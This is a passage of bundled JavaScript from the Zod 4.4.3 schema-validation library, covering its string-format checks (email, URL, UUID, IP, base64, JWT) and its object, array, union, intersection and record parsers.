!def.abort\n });\n };\n});\nconst $ZodCheckStringFormat = /*@__PURE__*/ $constructor(\"$ZodCheckStringFormat\", (inst, def) => {\n var _a, _b;\n $ZodCheck.init(inst, def);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.format = def.format;\n if (def.pattern) {\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(def.pattern);\n }\n });\n if (def.pattern) (_a = inst._zod).check ?? (_a.check = (payload) => {\n def.pattern.lastIndex = 0;\n if (def.pattern.test(payload.value)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: def.format,\n input: payload.value,\n ...def.pattern ? { pattern: def.pattern.toString() } : {},\n inst,\n continue: !def.abort\n });\n });\n else (_b = inst._zod).check ?? (_b.check = () => {});\n});\nconst $ZodCheckRegex = /*@__PURE__*/ $constructor(\"$ZodCheckRegex\", (inst, def) => {\n $ZodCheckStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n def.pattern.lastIndex = 0;\n if (def.pattern.test(payload.value)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"regex\",\n input: payload.value,\n pattern: def.pattern.toString(),\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckLowerCase = /*@__PURE__*/ $constructor(\"$ZodCheckLowerCase\", (inst, def) => {\n def.pattern ?? (def.pattern = lowercase);\n $ZodCheckStringFormat.init(inst, def);\n});\nconst $ZodCheckUpperCase = /*@__PURE__*/ $constructor(\"$ZodCheckUpperCase\", (inst, def) => {\n def.pattern ?? (def.pattern = uppercase);\n $ZodCheckStringFormat.init(inst, def);\n});\nconst $ZodCheckIncludes = /*@__PURE__*/ $constructor(\"$ZodCheckIncludes\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const escapedRegex = escapeRegex(def.includes);\n const pattern = new RegExp(typeof def.position === \"number\" ? `^.{${def.position}}${escapedRegex}` : escapedRegex);\n def.pattern = pattern;\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.includes(def.includes, def.position)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"includes\",\n includes: def.includes,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckStartsWith = /*@__PURE__*/ $constructor(\"$ZodCheckStartsWith\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`);\n def.pattern ?? (def.pattern = pattern);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.startsWith(def.prefix)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"starts_with\",\n prefix: def.prefix,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckEndsWith = /*@__PURE__*/ $constructor(\"$ZodCheckEndsWith\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`);\n def.pattern ?? (def.pattern = pattern);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.endsWith(def.suffix)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"ends_with\",\n suffix: def.suffix,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckOverwrite = /*@__PURE__*/ $constructor(\"$ZodCheckOverwrite\", (inst, def) => {\n $ZodCheck.init(inst, def);\n inst._zod.check = (payload) => {\n payload.value = def.tx(payload.value);\n };\n});\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js\nvar Doc = class {\n constructor(args = []) {\n this.content = [];\n this.indent = 0;\n if (this) this.args = args;\n }\n indented(fn) {\n this.indent += 1;\n fn(this);\n this.indent -= 1;\n }\n write(arg) {\n if (typeof arg === \"function\") {\n arg(this, { execution: \"sync\" });\n arg(this, { execution: \"async\" });\n return;\n }\n const lines = arg.split(\"\\n\").filter((x) => x);\n const minIndent = Math.min(...lines.map((x) => x.length - x.trimStart().length));\n const dedented = lines.map((x) => x.slice(minIndent)).map((x) => \" \".repeat(this.indent * 2) + x);\n for (const line of dedented) this.content.push(line);\n }\n compile() {\n const F = Function;\n const args = this?.args;\n const lines = [...(this?.content ?? [``]).map((x) => ` ${x}`)];\n return new F(...args, lines.join(\"\\n\"));\n }\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js\nconst version = {\n major: 4,\n minor: 4,\n patch: 3\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js\nconst $ZodType = /*@__PURE__*/ $constructor(\"$ZodType\", (inst, def) => {\n var _a;\n inst ?? (inst = {});\n inst._zod.def = def;\n inst._zod.bag = inst._zod.bag || {};\n inst._zod.version = version;\n const checks = [...inst._zod.def.checks ?? []];\n if (inst._zod.traits.has(\"$ZodCheck\")) checks.unshift(inst);\n for (const ch of checks) for (const fn of ch._zod.onattach) fn(inst);\n if (checks.length === 0) {\n (_a = inst._zod).deferred ?? (_a.deferred = []);\n inst._zod.deferred?.push(() => {\n inst._zod.run = inst._zod.parse;\n });\n } else {\n const runChecks = (payload, checks, ctx) => {\n let isAborted = aborted(payload);\n let asyncResult;\n for (const ch of checks) {\n if (ch._zod.def.when) {\n if (explicitlyAborted(payload)) continue;\n if (!ch._zod.def.when(payload)) continue;\n } else if (isAborted) continue;\n const currLen = payload.issues.length;\n const _ = ch._zod.check(payload);\n if (_ instanceof Promise && ctx?.async === false) throw new $ZodAsyncError();\n if (asyncResult || _ instanceof Promise) asyncResult = (asyncResult ?? Promise.resolve()).then(async () => {\n await _;\n if (payload.issues.length === currLen) return;\n if (!isAborted) isAborted = aborted(payload, currLen);\n });\n else {\n if (payload.issues.length === currLen) continue;\n if (!isAborted) isAborted = aborted(payload, currLen);\n }\n }\n if (asyncResult) return asyncResult.then(() => {\n return payload;\n });\n return payload;\n };\n const handleCanaryResult = (canary, payload, ctx) => {\n if (aborted(canary)) {\n canary.aborted = true;\n return canary;\n }\n const checkResult = runChecks(payload, checks, ctx);\n if (checkResult instanceof Promise) {\n if (ctx.async === false) throw new $ZodAsyncError();\n return checkResult.then((checkResult) => inst._zod.parse(checkResult, ctx));\n }\n return inst._zod.parse(checkResult, ctx);\n };\n inst._zod.run = (payload, ctx) => {\n if (ctx.skipChecks) return inst._zod.parse(payload, ctx);\n if (ctx.direction === \"backward\") {\n const canary = inst._zod.parse({\n value: payload.value,\n issues: []\n }, {\n ...ctx,\n skipChecks: true\n });\n if (canary instanceof Promise) return canary.then((canary) => {\n return handleCanaryResult(canary, payload, ctx);\n });\n return handleCanaryResult(canary, payload, ctx);\n }\n const result = inst._zod.parse(payload, ctx);\n if (result instanceof Promise) {\n if (ctx.async === false) throw new $ZodAsyncError();\n return result.then((result) => runChecks(result, checks, ctx));\n }\n return runChecks(result, checks, ctx);\n };\n }\n defineLazy(inst, \"~standard\", () => ({\n validate: (value) => {\n try {\n const r = safeParse$1(inst, value);\n return r.success ? { value: r.data } : { issues: r.error?.issues };\n } catch (_) {\n return safeParseAsync$1(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues });\n }\n },\n vendor: \"zod\",\n version: 1\n }));\n});\nconst $ZodString = /*@__PURE__*/ $constructor(\"$ZodString\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string$1(inst._zod.bag);\n inst._zod.parse = (payload, _) => {\n if (def.coerce) try {\n payload.value = String(payload.value);\n } catch (_) {}\n if (typeof payload.value === \"string\") return payload;\n payload.issues.push({\n expected: \"string\",\n code: \"invalid_type\",\n input: payload.value,\n inst\n });\n return payload;\n };\n});\nconst $ZodStringFormat = /*@__PURE__*/ $constructor(\"$ZodStringFormat\", (inst, def) => {\n $ZodCheckStringFormat.init(inst, def);\n $ZodString.init(inst, def);\n});\nconst $ZodGUID = /*@__PURE__*/ $constructor(\"$ZodGUID\", (inst, def) => {\n def.pattern ?? (def.pattern = guid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodUUID = /*@__PURE__*/ $constructor(\"$ZodUUID\", (inst, def) => {\n if (def.version) {\n const v = {\n v1: 1,\n v2: 2,\n v3: 3,\n v4: 4,\n v5: 5,\n v6: 6,\n v7: 7,\n v8: 8\n }[def.version];\n if (v === void 0) throw new Error(`Invalid UUID version: \"${def.version}\"`);\n def.pattern ?? (def.pattern = uuid(v));\n } else def.pattern ?? (def.pattern = uuid());\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodEmail = /*@__PURE__*/ $constructor(\"$ZodEmail\", (inst, def) => {\n def.pattern ?? (def.pattern = email);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodURL = /*@__PURE__*/ $constructor(\"$ZodURL\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n try {\n const trimmed = payload.value.trim();\n if (!def.normalize && def.protocol?.source === httpProtocol.source) {\n if (!/^https?:\\/\\//i.test(trimmed)) {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid URL format\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n return;\n }\n }\n const url = new URL(trimmed);\n if (def.hostname) {\n def.hostname.lastIndex = 0;\n if (!def.hostname.test(url.hostname)) payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid hostname\",\n pattern: def.hostname.source,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n if (def.protocol) {\n def.protocol.lastIndex = 0;\n if (!def.protocol.test(url.protocol.endsWith(\":\") ? url.protocol.slice(0, -1) : url.protocol)) payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid protocol\",\n pattern: def.protocol.source,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n if (def.normalize) payload.value = url.href;\n else payload.value = trimmed;\n return;\n } catch (_) {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nconst $ZodEmoji = /*@__PURE__*/ $constructor(\"$ZodEmoji\", (inst, def) => {\n def.pattern ?? (def.pattern = emoji());\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodNanoID = /*@__PURE__*/ $constructor(\"$ZodNanoID\", (inst, def) => {\n def.pattern ?? (def.pattern = nanoid);\n $ZodStringFormat.init(inst, def);\n});\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link $ZodCUID2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst $ZodCUID = /*@__PURE__*/ $constructor(\"$ZodCUID\", (inst, def) => {\n def.pattern ?? (def.pattern = cuid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodCUID2 = /*@__PURE__*/ $constructor(\"$ZodCUID2\", (inst, def) => {\n def.pattern ?? (def.pattern = cuid2);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodULID = /*@__PURE__*/ $constructor(\"$ZodULID\", (inst, def) => {\n def.pattern ?? (def.pattern = ulid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodXID = /*@__PURE__*/ $constructor(\"$ZodXID\", (inst, def) => {\n def.pattern ?? (def.pattern = xid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodKSUID = /*@__PURE__*/ $constructor(\"$ZodKSUID\", (inst, def) => {\n def.pattern ?? (def.pattern = ksuid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODateTime = /*@__PURE__*/ $constructor(\"$ZodISODateTime\", (inst, def) => {\n def.pattern ?? (def.pattern = datetime$1(def));\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODate = /*@__PURE__*/ $constructor(\"$ZodISODate\", (inst, def) => {\n def.pattern ?? (def.pattern = date$1);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISOTime = /*@__PURE__*/ $constructor(\"$ZodISOTime\", (inst, def) => {\n def.pattern ?? (def.pattern = time$1(def));\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODuration = /*@__PURE__*/ $constructor(\"$ZodISODuration\", (inst, def) => {\n def.pattern ?? (def.pattern = duration$1);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodIPv4 = /*@__PURE__*/ $constructor(\"$ZodIPv4\", (inst, def) => {\n def.pattern ?? (def.pattern = ipv4);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.format = `ipv4`;\n});\nconst $ZodIPv6 = /*@__PURE__*/ $constructor(\"$ZodIPv6\", (inst, def) => {\n def.pattern ?? (def.pattern = ipv6);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.format = `ipv6`;\n inst._zod.check = (payload) => {\n try {\n new URL(`http://[${payload.value}]`);\n } catch {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"ipv6\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nconst $ZodCIDRv4 = /*@__PURE__*/ $constructor(\"$ZodCIDRv4\", (inst, def) => {\n def.pattern ?? (def.pattern = cidrv4);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodCIDRv6 = /*@__PURE__*/ $constructor(\"$ZodCIDRv6\", (inst, def) => {\n def.pattern ?? (def.pattern = cidrv6);\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n const parts = payload.value.split(\"/\");\n try {\n if (parts.length !== 2) throw new Error();\n const [address, prefix] = parts;\n if (!prefix) throw new Error();\n const prefixNum = Number(prefix);\n if (`${prefixNum}` !== prefix) throw new Error();\n if (prefixNum < 0 || prefixNum > 128) throw new Error();\n new URL(`http://[${address}]`);\n } catch {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"cidrv6\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nfunction isValidBase64(data) {\n if (data === \"\") return true;\n if (/\\s/.test(data)) return false;\n if (data.length % 4 !== 0) return false;\n try {\n atob(data);\n return true;\n } catch {\n return false;\n }\n}\nconst $ZodBase64 = /*@__PURE__*/ $constructor(\"$ZodBase64\", (inst, def) => {\n def.pattern ?? (def.pattern = base64);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.contentEncoding = \"base64\";\n inst._zod.check = (payload) => {\n if (isValidBase64(payload.value)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"base64\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nfunction isValidBase64URL(data) {\n if (!base64url.test(data)) return false;\n const base64 = data.replace(/[-_]/g, (c) => c === \"-\" ? \"+\" : \"/\");\n return isValidBase64(base64.padEnd(Math.ceil(base64.length / 4) * 4, \"=\"));\n}\nconst $ZodBase64URL = /*@__PURE__*/ $constructor(\"$ZodBase64URL\", (inst, def) => {\n def.pattern ?? (def.pattern = base64url);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.contentEncoding = \"base64url\";\n inst._zod.check = (payload) => {\n if (isValidBase64URL(payload.value)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"base64url\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodE164 = /*@__PURE__*/ $constructor(\"$ZodE164\", (inst, def) => {\n def.pattern ?? (def.pattern = e164);\n $ZodStringFormat.init(inst, def);\n});\nfunction isValidJWT(token, algorithm = null) {\n try {\n const tokensParts = token.split(\".\");\n if (tokensParts.length !== 3) return false;\n const [header] = tokensParts;\n if (!header) return false;\n const parsedHeader = JSON.parse(atob(header));\n if (\"typ\" in parsedHeader && parsedHeader?.typ !== \"JWT\") return false;\n if (!parsedHeader.alg) return false;\n if (algorithm && (!(\"alg\" in parsedHeader) || parsedHeader.alg !== algorithm)) return false;\n return true;\n } catch {\n return false;\n }\n}\nconst $ZodJWT = /*@__PURE__*/ $constructor(\"$ZodJWT\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n if (isValidJWT(payload.value, def.alg)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"jwt\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodUnknown = /*@__PURE__*/ $constructor(\"$ZodUnknown\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload) => payload;\n});\nconst $ZodNever = /*@__PURE__*/ $constructor(\"$ZodNever\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, _ctx) => {\n payload.issues.push({\n expected: \"never\",\n code: \"invalid_type\",\n input: payload.value,\n inst\n });\n return payload;\n };\n});\nfunction handleArrayResult(result, final, index) {\n if (result.issues.length) final.issues.push(...prefixIssues(index, result.issues));\n final.value[index] = result.value;\n}\nconst $ZodArray = /*@__PURE__*/ $constructor(\"$ZodArray\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n if (!Array.isArray(input)) {\n payload.issues.push({\n expected: \"array\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n payload.value = Array(input.length);\n const proms = [];\n for (let i = 0; i < input.length; i++) {\n const item = input[i];\n const result = def.element._zod.run({\n value: item,\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => handleArrayResult(result, payload, i)));\n else handleArrayResult(result, payload, i);\n }\n if (proms.length) return Promise.all(proms).then(() => payload);\n return payload;\n };\n});\nfunction handlePropertyResult(result, final, key, input, isOptionalIn, isOptionalOut) {\n const isPresent = key in input;\n if (result.issues.length) {\n if (isOptionalIn && isOptionalOut && !isPresent) return;\n final.issues.push(...prefixIssues(key, result.issues));\n }\n if (!isPresent && !isOptionalIn) {\n if (!result.issues.length) final.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: void 0,\n path: [key]\n });\n return;\n }\n if (result.value === void 0) {\n if (isPresent) final.value[key] = void 0;\n } else final.value[key] = result.value;\n}\nfunction normalizeDef(def) {\n const keys = Object.keys(def.shape);\n for (const k of keys) if (!def.shape?.[k]?._zod?.traits?.has(\"$ZodType\")) throw new Error(`Invalid element at key \"${k}\": expected a Zod schema`);\n const okeys = optionalKeys(def.shape);\n return {\n ...def,\n keys,\n keySet: new Set(keys),\n numKeys: keys.length,\n optionalKeys: new Set(okeys)\n };\n}\nfunction handleCatchall(proms, input, payload, ctx, def, inst) {\n const unrecognized = [];\n const keySet = def.keySet;\n const _catchall = def.catchall._zod;\n const t = _catchall.def.type;\n const isOptionalIn = _catchall.optin === \"optional\";\n const isOptionalOut = _catchall.optout === \"optional\";\n for (const key in input) {\n if (key === \"__proto__\") continue;\n if (keySet.has(key)) continue;\n if (t === \"never\") {\n unrecognized.push(key);\n continue;\n }\n const r = _catchall.run({\n value: input[key],\n issues: []\n }, ctx);\n if (r instanceof Promise) proms.push(r.then((r) => handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut)));\n else handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut);\n }\n if (unrecognized.length) payload.issues.push({\n code: \"unrecognized_keys\",\n keys: unrecognized,\n input,\n inst\n });\n if (!proms.length) return payload;\n return Promise.all(proms).then(() => {\n return payload;\n });\n}\nconst $ZodObject = /*@__PURE__*/ $constructor(\"$ZodObject\", (inst, def) => {\n $ZodType.init(inst, def);\n if (!Object.getOwnPropertyDescriptor(def, \"shape\")?.get) {\n const sh = def.shape;\n Object.defineProperty(def, \"shape\", { get: () => {\n const newSh = { ...sh };\n Object.defineProperty(def, \"shape\", { value: newSh });\n return newSh;\n } });\n }\n const _normalized = cached(() => normalizeDef(def));\n defineLazy(inst._zod, \"propValues\", () => {\n const shape = def.shape;\n const propValues = {};\n for (const key in shape) {\n const field = shape[key]._zod;\n if (field.values) {\n propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set());\n for (const v of field.values) propValues[key].add(v);\n }\n }\n return propValues;\n });\n const isObject$2 = isObject;\n const catchall = def.catchall;\n let value;\n inst._zod.parse = (payload, ctx) => {\n value ?? (value = _normalized.value);\n const input = payload.value;\n if (!isObject$2(input)) {\n payload.issues.push({\n expected: \"object\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n payload.value = {};\n const proms = [];\n const shape = value.shape;\n for (const key of value.keys) {\n const el = shape[key];\n const isOptionalIn = el._zod.optin === \"optional\";\n const isOptionalOut = el._zod.optout === \"optional\";\n const r = el._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (r instanceof Promise) proms.push(r.then((r) => handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut)));\n else handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut);\n }\n if (!catchall) return proms.length ? Promise.all(proms).then(() => payload) : payload;\n return handleCatchall(proms, input, payload, ctx, _normalized.value, inst);\n };\n});\nconst $ZodObjectJIT = /*@__PURE__*/ $constructor(\"$ZodObjectJIT\", (inst, def) => {\n $ZodObject.init(inst, def);\n const superParse = inst._zod.parse;\n const _normalized = cached(() => normalizeDef(def));\n const generateFastpass = (shape) => {\n const doc = new Doc([\n \"shape\",\n \"payload\",\n \"ctx\"\n ]);\n const normalized = _normalized.value;\n const parseStr = (key) => {\n const k = esc(key);\n return `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`;\n };\n doc.write(`const input = payload.value;`);\n const ids = Object.create(null);\n let counter = 0;\n for (const key of normalized.keys) ids[key] = `key_${counter++}`;\n doc.write(`const newResult = {};`);\n for (const key of normalized.keys) {\n const id = ids[key];\n const k = esc(key);\n const schema = shape[key];\n const isOptionalIn = schema?._zod?.optin === \"optional\";\n const isOptionalOut = schema?._zod?.optout === \"optional\";\n doc.write(`const ${id} = ${parseStr(key)};`);\n if (isOptionalIn && isOptionalOut) doc.write(`\n if (${id}.issues.length) {\n if (${k} in input) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n }\n \n if (${id}.value === undefined) {\n if (${k} in input) {\n newResult[${k}] = undefined;\n }\n } else {\n newResult[${k}] = ${id}.value;\n }\n \n `);\n else if (!isOptionalIn) doc.write(`\n const ${id}_present = ${k} in input;\n if (${id}.issues.length) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n if (!${id}_present && !${id}.issues.length) {\n payload.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: undefined,\n path: [${k}]\n });\n }\n\n if (${id}_present) {\n if (${id}.value === undefined) {\n newResult[${k}] = undefined;\n } else {\n newResult[${k}] = ${id}.value;\n }\n }\n\n `);\n else doc.write(`\n if (${id}.issues.length) {\n payload.issues = payload.issues.concat(${id}.issues.map(iss => ({\n ...iss,\n path: iss.path ? [${k}, ...iss.path] : [${k}]\n })));\n }\n \n if (${id}.value === undefined) {\n if (${k} in input) {\n newResult[${k}] = undefined;\n }\n } else {\n newResult[${k}] = ${id}.value;\n }\n \n `);\n }\n doc.write(`payload.value = newResult;`);\n doc.write(`return payload;`);\n const fn = doc.compile();\n return (payload, ctx) => fn(shape, payload, ctx);\n };\n let fastpass;\n const isObject$1 = isObject;\n const jit = !globalConfig.jitless;\n const allowsEval$1 = allowsEval;\n const fastEnabled = jit && allowsEval$1.value;\n const catchall = def.catchall;\n let value;\n inst._zod.parse = (payload, ctx) => {\n value ?? (value = _normalized.value);\n const input = payload.value;\n if (!isObject$1(input)) {\n payload.issues.push({\n expected: \"object\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n if (jit && fastEnabled && ctx?.async === false && ctx.jitless !== true) {\n if (!fastpass) fastpass = generateFastpass(def.shape);\n payload = fastpass(payload, ctx);\n if (!catchall) return payload;\n return handleCatchall([], input, payload, ctx, value, inst);\n }\n return superParse(payload, ctx);\n };\n});\nfunction handleUnionResults(results, final, inst, ctx) {\n for (const result of results) if (result.issues.length === 0) {\n final.value = result.value;\n return final;\n }\n const nonaborted = results.filter((r) => !aborted(r));\n if (nonaborted.length === 1) {\n final.value = nonaborted[0].value;\n return nonaborted[0];\n }\n final.issues.push({\n code: \"invalid_union\",\n input: final.value,\n inst,\n errors: results.map((result) => result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n });\n return final;\n}\nconst $ZodUnion = /*@__PURE__*/ $constructor(\"$ZodUnion\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"optin\", () => def.options.some((o) => o._zod.optin === \"optional\") ? \"optional\" : void 0);\n defineLazy(inst._zod, \"optout\", () => def.options.some((o) => o._zod.optout === \"optional\") ? \"optional\" : void 0);\n defineLazy(inst._zod, \"values\", () => {\n if (def.options.every((o) => o._zod.values)) return new Set(def.options.flatMap((option) => Array.from(option._zod.values)));\n });\n defineLazy(inst._zod, \"pattern\", () => {\n if (def.options.every((o) => o._zod.pattern)) {\n const patterns = def.options.map((o) => o._zod.pattern);\n return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join(\"|\")})$`);\n }\n });\n const first = def.options.length === 1 ? def.options[0]._zod.run : null;\n inst._zod.parse = (payload, ctx) => {\n if (first) return first(payload, ctx);\n let async = false;\n const results = [];\n for (const option of def.options) {\n const result = option._zod.run({\n value: payload.value,\n issues: []\n }, ctx);\n if (result instanceof Promise) {\n results.push(result);\n async = true;\n } else {\n if (result.issues.length === 0) return result;\n results.push(result);\n }\n }\n if (!async) return handleUnionResults(results, payload, inst, ctx);\n return Promise.all(results).then((results) => {\n return handleUnionResults(results, payload, inst, ctx);\n });\n };\n});\nconst $ZodIntersection = /*@__PURE__*/ $constructor(\"$ZodIntersection\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n const left = def.left._zod.run({\n value: input,\n issues: []\n }, ctx);\n const right = def.right._zod.run({\n value: input,\n issues: []\n }, ctx);\n if (left instanceof Promise || right instanceof Promise) return Promise.all([left, right]).then(([left, right]) => {\n return handleIntersectionResults(payload, left, right);\n });\n return handleIntersectionResults(payload, left, right);\n };\n});\nfunction mergeValues(a, b) {\n if (a === b) return {\n valid: true,\n data: a\n };\n if (a instanceof Date && b instanceof Date && +a === +b) return {\n valid: true,\n data: a\n };\n if (isPlainObject(a) && isPlainObject(b)) {\n const bKeys = Object.keys(b);\n const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1);\n const newObj = {\n ...a,\n ...b\n };\n for (const key of sharedKeys) {\n const sharedValue = mergeValues(a[key], b[key]);\n if (!sharedValue.valid) return {\n valid: false,\n mergeErrorPath: [key, ...sharedValue.mergeErrorPath]\n };\n newObj[key] = sharedValue.data;\n }\n return {\n valid: true,\n data: newObj\n };\n }\n if (Array.isArray(a) && Array.isArray(b)) {\n if (a.length !== b.length) return {\n valid: false,\n mergeErrorPath: []\n };\n const newArray = [];\n for (let index = 0; index < a.length; index++) {\n const itemA = a[index];\n const itemB = b[index];\n const sharedValue = mergeValues(itemA, itemB);\n if (!sharedValue.valid) return {\n valid: false,\n mergeErrorPath: [index, ...sharedValue.mergeErrorPath]\n };\n newArray.push(sharedValue.data);\n }\n return {\n valid: true,\n data: newArray\n };\n }\n return {\n valid: false,\n mergeErrorPath: []\n };\n}\nfunction handleIntersectionResults(result, left, right) {\n const unrecKeys = /* @__PURE__ */ new Map();\n let unrecIssue;\n for (const iss of left.issues) if (iss.code === \"unrecognized_keys\") {\n unrecIssue ?? (unrecIssue = iss);\n for (const k of iss.keys) {\n if (!unrecKeys.has(k)) unrecKeys.set(k, {});\n unrecKeys.get(k).l = true;\n }\n } else result.issues.push(iss);\n for (const iss of right.issues) if (iss.code === \"unrecognized_keys\") for (const k of iss.keys) {\n if (!unrecKeys.has(k)) unrecKeys.set(k, {});\n unrecKeys.get(k).r = true;\n }\n else result.issues.push(iss);\n const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k);\n if (bothKeys.length && unrecIssue) result.issues.push({\n ...unrecIssue,\n keys: bothKeys\n });\n if (aborted(result)) return result;\n const merged = mergeValues(left.value, right.value);\n if (!merged.valid) throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`);\n result.value = merged.data;\n return result;\n}\nconst $ZodRecord = /*@__PURE__*/ $constructor(\"$ZodRecord\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n if (!isPlainObject(input)) {\n payload.issues.push({\n expected: \"record\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n const proms = [];\n const values = def.keyType._zod.values;\n if (values) {\n payload.value = {};\n const recordKeys = /* @__PURE__ */ new Set();\n for (const key of values) if (typeof key === \"string\" || typeof key === \"number\" || typeof key === \"symbol\") {\n recordKeys.add(typeof key === \"number\" ? key.toString() : key);\n const keyResult = def.keyType._zod.run({\n value: key,\n issues: []\n }, ctx);\n if (keyResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (keyResult.issues.length) {\n payload.issues.push({\n code: \"invalid_key\",\n origin: \"record\",\n issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())),\n input: key,\n path: [key],\n inst\n });\n 